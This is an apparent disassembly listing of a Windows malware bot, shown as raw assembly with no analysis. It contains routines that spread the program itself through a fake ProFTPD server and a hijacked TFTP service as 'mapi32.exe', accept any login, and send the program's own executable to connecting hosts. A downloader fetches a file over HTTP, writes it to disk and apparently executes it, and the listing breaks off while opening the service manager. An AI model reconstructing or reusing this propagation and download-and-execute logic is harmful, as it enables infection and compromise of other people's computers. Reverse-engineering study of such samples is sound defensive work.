var_33F = byte ptr -33Fh
var_33E = byte ptr -33Eh
var_33D = byte ptr -33Dh
var_23C = byte ptr -23Ch
var_23B = byte ptr -23Bh
var_23A = byte ptr -23Ah
var_239 = byte ptr -239h
var_238 = byte ptr -238h
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 444h
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push 2
push 2
call dword_401234
mov esi, offset aTftpdhijack ; "TFTPDHijack"
mov edi, eax
push esi
mov [ebp+var_4], edi
call sub_40A64F
lea eax, [eax+eax*2]
push 1
push 45h
push edi
mov dword_40B0E0[eax*8], edi
call sub_4085A6
add esp, 10h
test al, al
jnz short loc_407C1C
push esi
call sub_40A64F
push eax
call sub_40A56C
pop ecx
jmp short loc_407C3A
; ---------------------------------------------------------------------------
loc_407C1C: ; CODE XREF: sub_407BC9+42j
push offset dword_4030FC
push offset aMapi32_exe ; "mapi32.exe"
call sub_40AC52
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_407C44
push edi
call sub_408616
loc_407C3A: ; CODE XREF: sub_407BC9+51j
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_407C44: ; CODE XREF: sub_407BC9+69j
mov edi, dword_401258
mov esi, 200h
loc_407C4F: ; CODE XREF: sub_407BC9+D2j
; sub_407BC9+17Ej ...
mov eax, [ebp+var_4]
push 104h
mov [ebp+var_440], eax
lea eax, [ebp+var_340]
push ebx
push eax
mov [ebp+var_18], 5
mov [ebp+var_14], 1388h
mov [ebp+var_444], 1
call sub_40AC10
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push ebx
lea eax, [ebp+var_444]
push ebx
push eax
push ebx
call dword_4011F0
test eax, eax
jle short loc_407C4F
lea eax, [ebp+var_C]
mov [ebp+var_C], 10h
push eax
lea eax, [ebp+var_28]
push eax
push ebx
lea eax, [ebp+var_340]
push 104h
push eax
push [ebp+var_4]
call dword_4011FC
push [ebp+var_24]
call dword_401220
push eax
lea eax, [ebp+var_38]
push eax
call sub_40AB94
cmp [ebp+var_340], bl
pop ecx
pop ecx
jnz loc_407E19
cmp [ebp+var_33F], 1
jnz short loc_407D4C
push offset aMapi32_exe ; "mapi32.exe"
call sub_40ABD2
push ebx
push ebx
push [ebp+var_8]
call sub_40AC58
push [ebp+var_8]
lea eax, [ebp+var_238]
mov [ebp+var_23C], bl
mov [ebp+var_23B], 3
push esi
push 1
push eax
mov [ebp+var_23A], bl
mov [ebp+var_239], 1
call sub_40AC4C
add esp, 20h
lea ecx, [ebp+var_28]
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_23C]
push eax
loc_407D42: ; CODE XREF: sub_407BC9+25Fj
push [ebp+var_4]
call edi ; dword_401258
jmp loc_407C4F
; ---------------------------------------------------------------------------
loc_407D4C: ; CODE XREF: sub_407BC9+121j
cmp [ebp+var_33F], 4
jnz loc_407E19
mov cl, [ebp+var_33D]
mov al, [ebp+var_33E]
cmp cl, 0FFh
mov [ebp+var_23C], bl
mov [ebp+var_23B], 3
jnz short loc_407D89
inc al
xor cl, cl
mov [ebp+var_23A], al
mov [ebp+var_239], bl
jmp short loc_407D97
; ---------------------------------------------------------------------------
loc_407D89: ; CODE XREF: sub_407BC9+1ACj
inc cl
mov [ebp+var_23A], al
mov [ebp+var_239], cl
loc_407D97: ; CODE XREF: sub_407BC9+1BEj
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_40AC58
push [ebp+var_8]
lea eax, [ebp+var_238]
push esi
push 1
push eax
call sub_40AC4C
add esp, 1Ch
lea ecx, [ebp+var_28]
mov [ebp+var_10], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_23C]
push eax
push [ebp+var_4]
call edi ; dword_401258
cmp [ebp+var_10], ebx
jnz loc_407C4F
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_38]
push eax
call sub_409570
pop ecx
push eax
mov eax, dword_40372C
imul eax, 1Ch
push off_401BB0[eax]
push offset dword_40317C
call sub_405185
add esp, 10h
jmp loc_407C4F
; ---------------------------------------------------------------------------
loc_407E19: ; CODE XREF: sub_407BC9+114j
; sub_407BC9+18Aj
push [ebp+var_C]
lea eax, [ebp+var_28]
push eax
push ebx
push 9
push offset dword_403170
jmp loc_407D42
sub_407BC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E2D proc near ; CODE XREF: sub_407F46+4FDp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 1
push 2
call dword_401234
push [ebp+arg_0]
mov dword_40B098, eax
mov [ebp+var_10], 2
call dword_40124C
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_401230
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_40B098
call dword_401238
cmp eax, 0FFFFFFFFh
setnz al
leave
retn
sub_407E2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E7D proc near ; CODE XREF: sub_407F46+508p
var_520 = dword ptr -520h
var_51C = byte ptr -51Ch
var_418 = byte ptr -418h
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_404448
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 510h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
mov [ebp+var_4], ebx
push 104h
lea eax, [ebp+var_51C]
push eax
push ebx
call dword_4010D0 ; GetModuleFileNameA
push offset dword_4030FC
lea eax, [ebp+var_51C]
push eax
call sub_40AC52
pop ecx
pop ecx
mov edi, eax
mov [ebp+var_520], edi
cmp edi, ebx
jnz short loc_407EE5
or [ebp+var_4], 0FFFFFFFFh
xor al, al
jmp short loc_407F37
; ---------------------------------------------------------------------------
loc_407EE5: ; CODE XREF: sub_407E7D+5Ej
mov esi, 400h
loc_407EEA: ; CODE XREF: sub_407E7D+A3j
test byte ptr [edi+0Ch], 10h
push edi
jnz short loc_407F22
push 1
push esi
lea eax, [ebp+var_418]
push eax
call sub_40AC4C
add esp, 10h
push ebx
push esi
lea eax, [ebp+var_418]
push eax
push dword_40B098
call dword_401244
push 1
call dword_4010F4 ; Sleep
jmp short loc_407EEA
; ---------------------------------------------------------------------------
loc_407F22: ; CODE XREF: sub_407E7D+72j
call sub_40AC46
pop ecx
jmp short loc_407F31
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
loc_407F31: ; CODE XREF: sub_407E7D+ABj
or [ebp+var_4], 0FFFFFFFFh
mov al, 1
loc_407F37: ; CODE XREF: sub_407E7D+66j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_407E7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F46 proc near ; DATA XREF: sub_40933F+19Eo
var_514 = dword ptr -514h
var_410 = byte ptr -410h
var_390 = byte ptr -390h
var_350 = byte ptr -350h
var_310 = byte ptr -310h
var_290 = byte ptr -290h
var_210 = byte ptr -210h
var_1D0 = byte ptr -1D0h
var_1C0 = dword ptr -1C0h
var_1BC = dword ptr -1BCh
var_BC = byte ptr -0BCh
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 514h
push ebx
push esi
push edi
xor edi, edi
push edi
push 1
push 2
mov [ebp+var_1C0], edi
mov [ebp+var_514], edi
call dword_401234
mov esi, offset aFtpd ; "Ftpd"
mov ebx, eax
push esi
call sub_40A64F
lea eax, [eax+eax*2]
pop ecx
push edi
mov dword_40B0E0[eax*8], ebx
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
push eax
push esi
call sub_40A64F
lea eax, [eax+eax*2]
pop ecx
push dword_40B0E0[eax*8]
call sub_4085A6
add esp, 0Ch
test al, al
push esi
jnz short loc_407FBD
call sub_40A64F
push eax
call sub_40A56C
pop ecx
pop ecx
push edi
call dword_4010EC ; ExitThread
loc_407FBD: ; CODE XREF: sub_407F46+61j
call sub_40A64F
lea eax, [eax+eax*2]
push esi
mov [ebp+var_1C0], 1
mov eax, dword_40B0E0[eax*8]
mov [ebp+var_1BC], eax
call sub_40A64F
lea eax, [eax+eax*2]
push esi
mov eax, dword_40B0E0[eax*8]
mov [ebp+arg_0], eax
call sub_40A64F
lea eax, [eax+eax*2]
add esp, 0Ch
cmp dword_40B0E0[eax*8], edi
jz loc_40852D
mov ebx, dword_401244
loc_40800E: ; CODE XREF: sub_407F46+5DCj
push 41h
lea esi, [ebp+var_1C0]
pop ecx
lea edi, [ebp+var_514]
rep movsd
xor esi, esi
lea eax, [ebp+var_514]
push esi
push esi
push esi
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call dword_4011F0
cmp eax, 0FFFFFFFFh
jz loc_408543
xor edi, edi
cmp [ebp+arg_0], esi
jl loc_40850D
loc_40804A: ; CODE XREF: sub_407F46+5C1j
push 80h
lea eax, [ebp+var_290]
push esi
push eax
call sub_40AC10
push 80h
lea eax, [ebp+var_BC]
push esi
push eax
call sub_40AC10
add esp, 18h
lea eax, [ebp+var_514]
push eax
push edi
call sub_40AE66
test eax, eax
jz loc_408503
push offset aFtpd ; "Ftpd"
call sub_40A64F
lea eax, [eax+eax*2]
pop ecx
cmp edi, dword_40B0E0[eax*8]
jnz loc_40816A
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_1D0]
push eax
push offset aFtpd ; "Ftpd"
call sub_40A64F
lea eax, [eax+eax*2]
pop ecx
push dword_40B0E0[eax*8]
call dword_4011F8
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jz loc_408503
xor ecx, ecx
cmp [ebp+var_1C0], esi
jbe short loc_4080FA
lea edx, [ebp+var_1BC]
loc_4080EA: ; CODE XREF: sub_407F46+1B2j
cmp [edx], eax
jz short loc_4080FA
inc ecx
add edx, 4
cmp ecx, [ebp+var_1C0]
jb short loc_4080EA
loc_4080FA: ; CODE XREF: sub_407F46+19Cj
; sub_407F46+1A6j
cmp ecx, [ebp+var_1C0]
jnz short loc_408118
cmp [ebp+var_1C0], 40h
jnb short loc_408118
mov [ebp+ecx*4+var_1BC], eax
inc [ebp+var_1C0]
loc_408118: ; CODE XREF: sub_407F46+1BAj
; sub_407F46+1C3j
cmp eax, [ebp+arg_0]
jle short loc_408120
mov [ebp+arg_0], eax
loc_408120: ; CODE XREF: sub_407F46+1D5j
push 0Ah
push esi
call sub_40A818
pop ecx
pop ecx
push eax
push 2
push esi
call sub_40A818
pop ecx
pop ecx
push eax
lea eax, [ebp+var_410]
push offset a220Proftpd1_D_ ; "220 ProFTPD 1.%d.%d Server (ProFTPD Def"...
push eax
call sub_40AB94
add esp, 10h
lea eax, [ebp+var_410]
push esi
push eax
call sub_40ABD2
pop ecx
push eax
lea eax, [ebp+var_410]
push eax
push [ebp+var_8]
call ebx ; dword_401244
jmp loc_408503
; ---------------------------------------------------------------------------
loc_40816A: ; CODE XREF: sub_407F46+155j
push esi
lea eax, [ebp+var_290]
push 80h
push eax
push edi
call dword_40123C
test eax, eax
jg short loc_4081D4
mov edx, [ebp+var_1C0]
xor ecx, ecx
cmp edx, esi
jbe short loc_4081C8
lea eax, [ebp+var_1BC]
loc_408194: ; CODE XREF: sub_407F46+258j
cmp [eax], edi
jz short loc_4081A2
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_408194
jmp short loc_4081C8
; ---------------------------------------------------------------------------
loc_4081A2: ; CODE XREF: sub_407F46+250j
dec edx
cmp ecx, edx
jnb short loc_4081C2
lea eax, [ebp+ecx*4+var_1BC]
loc_4081AE: ; CODE XREF: sub_407F46+27Aj
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_1C0]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_4081AE
loc_4081C2: ; CODE XREF: sub_407F46+25Fj
dec [ebp+var_1C0]
loc_4081C8: ; CODE XREF: sub_407F46+246j
; sub_407F46+25Aj
push edi
call dword_401240
jmp loc_408503
; ---------------------------------------------------------------------------
loc_4081D4: ; CODE XREF: sub_407F46+23Aj
lea eax, [ebp+var_310]
push eax
lea eax, [ebp+var_BC]
push eax
lea eax, [ebp+var_290]
push offset aSS ; "%s %s"
push eax
call sub_40AC64
lea eax, [ebp+var_BC]
push offset aUser ; "USER"
push eax
call sub_40ABB2
add esp, 18h
test eax, eax
jnz short loc_408218
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_4084EB
; ---------------------------------------------------------------------------
loc_408218: ; CODE XREF: sub_407F46+2C3j
lea eax, [ebp+var_BC]
push offset aPass ; "PASS"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jnz short loc_40823C
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_4084EB
; ---------------------------------------------------------------------------
loc_40823C: ; CODE XREF: sub_407F46+2E7j
lea eax, [ebp+var_BC]
push offset aSyst ; "SYST"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jnz short loc_408260
push esi
push 12h
push offset a215UnixTypeL8 ; "215 UNIX Type: L8\n"
jmp loc_4084EB
; ---------------------------------------------------------------------------
loc_408260: ; CODE XREF: sub_407F46+30Bj
lea eax, [ebp+var_BC]
push offset aRest ; "REST"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jnz short loc_408284
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_4084EB
; ---------------------------------------------------------------------------
loc_408284: ; CODE XREF: sub_407F46+32Fj
lea eax, [ebp+var_BC]
push offset aPwd ; "PWD"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jnz short loc_4082A8
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_4084EB
; ---------------------------------------------------------------------------
loc_4082A8: ; CODE XREF: sub_407F46+353j
lea eax, [ebp+var_BC]
push offset aType ; "TYPE"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jnz short loc_4082D6
lea eax, [ebp+var_310]
push offset aA_0 ; "A"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jz short loc_4082ED
loc_4082D6: ; CODE XREF: sub_407F46+377j
lea eax, [ebp+var_310]
push offset aI ; "I"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jnz short loc_4082FA
loc_4082ED: ; CODE XREF: sub_407F46+38Ej
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_4084EB
; ---------------------------------------------------------------------------
loc_4082FA: ; CODE XREF: sub_407F46+3A5j
lea eax, [ebp+var_BC]
push offset aPasv ; "PASV"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jnz short loc_40831E
push esi
push 29h
push offset a425PassiveNotS ; "425 Passive not supported on this serve"...
jmp loc_4084EB
; ---------------------------------------------------------------------------
loc_40831E: ; CODE XREF: sub_407F46+3C9j
lea eax, [ebp+var_BC]
push offset aList ; "LIST"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jnz short loc_408342
push esi
push 16h
push offset a226TransferCom ; "226 Transfer complete\n"
jmp loc_4084EB
; ---------------------------------------------------------------------------
loc_408342: ; CODE XREF: sub_407F46+3EDj
lea eax, [ebp+var_BC]
push offset aPort ; "PORT"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jnz loc_408416
lea eax, [ebp+var_390]
push eax
lea eax, [ebp+var_350]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_290]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_40AC64
lea eax, [ebp+var_350]
push eax
call sub_40ABAC
mov [ebp+var_4], eax
lea eax, [ebp+var_390]
push eax
call sub_40ABAC
mov [ebp+var_8], eax
push 40h
lea eax, [ebp+var_210]
push esi
push eax
call sub_40AC10
add esp, 34h
lea eax, [ebp+var_210]
push [ebp+var_8]
push [ebp+var_4]
push offset aXX ; "%x%x\n"
push eax
call sub_40AB94
push 10h
lea eax, [ebp+var_210]
push esi
push eax
call sub_40AC5E
add esp, 1Ch
mov [ebp+var_4], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_40AB94
add esp, 18h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_4084EB
; ---------------------------------------------------------------------------
loc_408416: ; CODE XREF: sub_407F46+411j
lea eax, [ebp+var_BC]
push offset aRetr ; "RETR"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jnz loc_4084CC
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; dword_401244
push [ebp+var_4]
lea eax, [ebp+var_3C]
push eax
call sub_407E2D
pop ecx
test al, al
pop ecx
jz short loc_4084C2
call sub_407E7D
test al, al
push esi
jz short loc_408461
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
jmp short loc_408468
; ---------------------------------------------------------------------------
loc_408461: ; CODE XREF: sub_407F46+510j
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
loc_408468: ; CODE XREF: sub_407F46+519j
push edi
call ebx ; dword_401244
inc dword_40B270
lea eax, [ebp+var_2C]
push eax
push edi
call sub_40854A
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push eax
lea eax, [ebp+var_2C]
push eax
call sub_409570
pop ecx
push eax
lea eax, [ebp+var_310]
push eax
mov eax, dword_40372C
imul eax, 1Ch
push dword_40B270
push off_401BB0[eax]
push offset dword_4031F0
call sub_405185
add esp, 18h
push dword_40B098
call dword_401240
jmp short loc_4084EE
; ---------------------------------------------------------------------------
loc_4084C2: ; CODE XREF: sub_407F46+506j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_4084EB
; ---------------------------------------------------------------------------
loc_4084CC: ; CODE XREF: sub_407F46+4E5j
lea eax, [ebp+var_BC]
push offset aQuit ; "QUIT"
push eax
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jnz short loc_4084EE
push esi
push 0Dh
push offset a221Goodbye_ ; "221 Goodbye.\n"
loc_4084EB: ; CODE XREF: sub_407F46+2CDj
; sub_407F46+2F1j ...
push edi
call ebx ; dword_401244
loc_4084EE: ; CODE XREF: sub_407F46+57Aj
; sub_407F46+59Bj
push 80h
lea eax, [ebp+var_290]
push esi
push eax
call sub_40AC10
add esp, 0Ch
loc_408503: ; CODE XREF: sub_407F46+13Aj
; sub_407F46+18Ej ...
inc edi
cmp edi, [ebp+arg_0]
jle loc_40804A
loc_40850D: ; CODE XREF: sub_407F46+FEj
push offset aFtpd ; "Ftpd"
call sub_40A64F
lea eax, [eax+eax*2]
pop ecx
cmp dword_40B0E0[eax*8], esi
jnz loc_40800E
mov esi, offset aFtpd ; "Ftpd"
loc_40852D: ; CODE XREF: sub_407F46+BCj
push esi
call sub_40A64F
push eax
call sub_40A56C
pop ecx
pop ecx
push 1
call dword_4010EC ; ExitThread
loc_408543: ; CODE XREF: sub_407F46+F3j
push esi
call dword_4010EC ; ExitThread
sub_407F46 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40854A proc near ; CODE XREF: sub_407708+61p
; sub_407F46+530p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_40120C
test eax, eax
jz short loc_408570
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_408570: ; CODE XREF: sub_40854A+20j
push 2
lea eax, [ebp+var_10]
push 4
push eax
call dword_401208
test eax, eax
jnz short loc_408596
push [ebp+var_10]
call dword_401220
push eax
push [ebp+arg_4]
call sub_40AB94
jmp short loc_4085A0
; ---------------------------------------------------------------------------
loc_408596: ; CODE XREF: sub_40854A+36j
push dword ptr [eax]
push [ebp+arg_4]
call sub_40ABA0
loc_4085A0: ; CODE XREF: sub_40854A+4Aj
pop ecx
mov al, 1
pop ecx
leave
retn
sub_40854A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4085A6 proc near ; CODE XREF: sub_40785E+48p
; sub_407BC9+38p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_4]
mov [ebp+var_10], 2
call dword_401230
mov [ebp+var_E], ax
and [ebp+var_C], 0
lea eax, [ebp+arg_4]
push 4
push eax
push 4
push 0FFFFh
mov [ebp+arg_4], 1
push [ebp+arg_0]
call dword_401218
test eax, eax
jnz short loc_40860E
lea eax, [ebp+var_10]
push 10h
push eax
push [ebp+arg_0]
call dword_401214
cmp eax, 0FFFFFFFFh
jz short loc_40860E
cmp [ebp+arg_8], 0
jnz short loc_408612
push 0Ah
push [ebp+arg_0]
call dword_401210
cmp eax, 0FFFFFFFFh
jnz short loc_408612
loc_40860E: ; CODE XREF: sub_4085A6+3Cj
; sub_4085A6+50j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_408612: ; CODE XREF: sub_4085A6+56j
; sub_4085A6+66j
mov al, 1
leave
retn
sub_4085A6 endp
; =============== S U B R O U T I N E =======================================
sub_408616 proc near ; CODE XREF: sub_404530+32Cp
; sub_405185+E3p ...
arg_0 = dword ptr 4
push 2
push [esp+4+arg_0]
call dword_40121C
push [esp+arg_0]
call dword_401240
retn
sub_408616 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40862D proc near ; CODE XREF: sub_4086A6+22p
; sub_408825+1Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 7
push offset aHttp ; "http://"
push ebx
call sub_40AC70
add esp, 0Ch
test eax, eax
jnz short loc_408692
lea edi, [ebx+7]
push 2Fh
push edi
call sub_40AC6A
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_408692
push ebx
call sub_40ABD2
cmp eax, 100h
pop ecx
jnb short loc_408692
push esi
push [ebp+arg_8]
call sub_40ABA0
sub esi, ebx
lea eax, [esi-7]
push eax
push edi
mov edi, [ebp+arg_4]
push edi
call sub_40AC2E
add esp, 14h
and byte ptr [esi+edi-7], 0
mov ax, 1
jmp short loc_4086A1
; ---------------------------------------------------------------------------
loc_408692: ; CODE XREF: sub_40862D+1Bj
; sub_40862D+2Ej ...
mov eax, [ebp+arg_4]
and byte ptr [eax], 0
mov eax, [ebp+arg_8]
and byte ptr [eax], 0
xor ax, ax
loc_4086A1: ; CODE XREF: sub_40862D+63j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40862D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4086A6 proc near ; CODE XREF: sub_408825+BDp
var_604 = byte ptr -604h
var_504 = byte ptr -504h
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 604h
push ebx
push esi
lea eax, [ebp+var_104]
push edi
push eax
lea eax, [ebp+var_604]
push eax
xor ebx, ebx
push [ebp+arg_0]
mov [ebp+var_4], ebx
call sub_40862D
add esp, 0Ch
test ax, ax
jz loc_408821
lea eax, [ebp+var_104]
push 2Fh
push eax
call sub_40AC7C
pop ecx
inc eax
pop ecx
push eax
lea eax, [ebp+var_104]
push offset aS_1 ; "%s"
push eax
call sub_40AB94
add esp, 0Ch
cmp [ebp+arg_4], ebx
jz loc_408821
push offset aWb ; "wb"
push [ebp+arg_4]
call sub_40AC52
pop ecx
cmp eax, ebx
pop ecx
mov dword_40B09C, eax
jz loc_408821
movzx edi, [ebp+arg_8]
push ebx
lea eax, [ebp+var_504]
push 400h
push eax
push edi
call dword_40123C
mov esi, eax
cmp esi, ebx
jle loc_4087F7
mov ebx, offset asc_403480 ; "\r\n\r\n"
loc_40874B: ; CODE XREF: sub_4086A6+14Bj
cmp [ebp+var_4], 0
jnz short loc_4087B8
push 7
lea eax, [ebp+var_504]
push offset aHttp1_ ; "http/1."
push eax
call sub_40AC70
add esp, 0Ch
test eax, eax
jnz short loc_4087D4
lea eax, [ebp+var_504]
push ebx
push eax
call sub_40AB9A
push 4
mov edi, eax
pop eax
lea ecx, [ebp+var_504]
sub eax, ecx
push ebx
add edi, eax
lea eax, [ebp+var_504]
push eax
call sub_40AB9A
push dword_40B09C
sub esi, edi
add eax, 4
push 1
push esi
push eax
call sub_40AC76
add esp, 20h
test eax, eax
jz short loc_408821
mov [ebp+var_4], 1
jmp short loc_4087D4
; ---------------------------------------------------------------------------
loc_4087B8: ; CODE XREF: sub_4086A6+A9j
push dword_40B09C
lea eax, [ebp+var_504]
push 1
push esi
push eax
call sub_40AC76
add esp, 10h
test eax, eax
jz short loc_408821
loc_4087D4: ; CODE XREF: sub_4086A6+C3j
; sub_4086A6+110j
movzx edi, [ebp+arg_8]
push 0
lea eax, [ebp+var_504]
push 400h
push eax
push edi
call dword_40123C
mov esi, eax
test esi, esi
jg loc_40874B
loc_4087F7: ; CODE XREF: sub_4086A6+9Aj
push 1
push edi
call dword_40121C
push edi
call dword_401240
push dword_40B09C
call sub_40AC46
push [ebp+arg_4]
call sub_40A86F
pop ecx
pop ecx
loc_40881C: ; CODE XREF: sub_4086A6+17Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_408821: ; CODE XREF: sub_4086A6+2Dj
; sub_4086A6+5Cj ...
xor eax, eax
jmp short loc_40881C
sub_4086A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408825 proc near ; CODE XREF: sub_404530+3E2p
var_210 = byte ptr -210h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
lea eax, [ebp+var_210]
push edi
push eax
lea eax, [ebp+var_110]
push eax
push [ebp+arg_0]
call sub_40862D
add esp, 0Ch
test ax, ax
jz loc_408900
push 50h
mov [ebp+var_10], 2
call dword_401230
mov [ebp+var_E], ax
lea eax, [ebp+var_110]
push eax
call sub_409570
pop ecx
push eax
call dword_40124C
push 6
push 1
push 2
mov [ebp+var_C], eax
call dword_401234
mov edi, eax
lea eax, [ebp+var_10]
movzx esi, di
push 10h
push eax
push esi
call dword_401238
test eax, eax
jnz short loc_408900
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_110]
push offset aGetSHttp1_0 ; "GET %s HTTP/1.0\r\n\r\n"
push eax
call sub_40AB94
add esp, 0Ch
lea eax, [ebp+var_110]
push 0
push eax
call sub_40ABD2
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push esi
call dword_401244
cmp eax, 1
jl short loc_408900
push edi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4086A6
add esp, 0Ch
mov edi, eax
test edi, edi
push 1
push esi
jnz short loc_408904
call dword_40121C
push esi
call dword_401240
loc_408900: ; CODE XREF: sub_408825+27j
; sub_408825+76j ...
xor eax, eax
jmp short loc_40894F
; ---------------------------------------------------------------------------
loc_408904: ; CODE XREF: sub_408825+CCj
call dword_40121C
push esi
call dword_401240
push dword_40B09C
call sub_40AC46
cmp [ebp+arg_C], 0
pop ecx
mov esi, offset byte_40B078
jz short loc_40893C
push esi
push [ebp+arg_4]
call sub_40A8E0
pop ecx
test eax, eax
pop ecx
jz short loc_40893C
call sub_408EAB
loc_40893C: ; CODE XREF: sub_408825+101j
; sub_408825+110j
cmp [ebp+arg_8], 0
jz short loc_40894D
push esi
push [ebp+arg_4]
call sub_40A8E0
pop ecx
pop ecx
loc_40894D: ; CODE XREF: sub_408825+11Bj
mov eax, edi
loc_40894F: ; CODE XREF: sub_408825+DDj
pop edi
pop esi
leave
retn
sub_408825 endp
; =============== S U B R O U T I N E =======================================
sub_408953 proc near ; CODE XREF: sub_405CEC+34p
; sub_40933F+1FCp
arg_0 = dword ptr 4
push ebx
push edi
push 0F003Fh
xor ebx, ebx
push offset aServicesactive ; "ServicesActive"
push ebx
